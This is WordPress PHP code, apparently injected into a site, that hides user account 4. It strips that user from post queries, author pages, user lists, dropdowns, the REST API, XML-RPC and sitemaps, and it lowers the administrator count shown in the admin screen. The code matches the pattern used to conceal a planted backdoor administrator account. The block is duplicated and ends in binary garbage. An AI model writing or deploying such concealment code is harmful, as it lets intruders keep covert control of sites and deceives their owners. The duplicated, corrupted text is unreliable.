add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
rH0z 㡐$1<2ƀ$@$1e_8s+2SBTm$rʕkqqjhxk;}">8]2Zj6Rl -fqÞazUR8xvTGd٪S
nEs!.ҥ3LkK*\[ջ e]:p17H6'u*f؎d8Ɏ`=kNV4ܥ\L[n{8P
Btj }Mq%E}d5J>"PheIWKчũh;mk6gk:ZG{d 2N[$ʛG\W4{21C2@f'7-mq֎۪Q wPi%44@$ĵUJ!~?6CE$R_SLx"rPP/Q}u(>Q͉Ϊez$;GQB(>Nйk]rwt #j7_Kh2Jjl\_վڲ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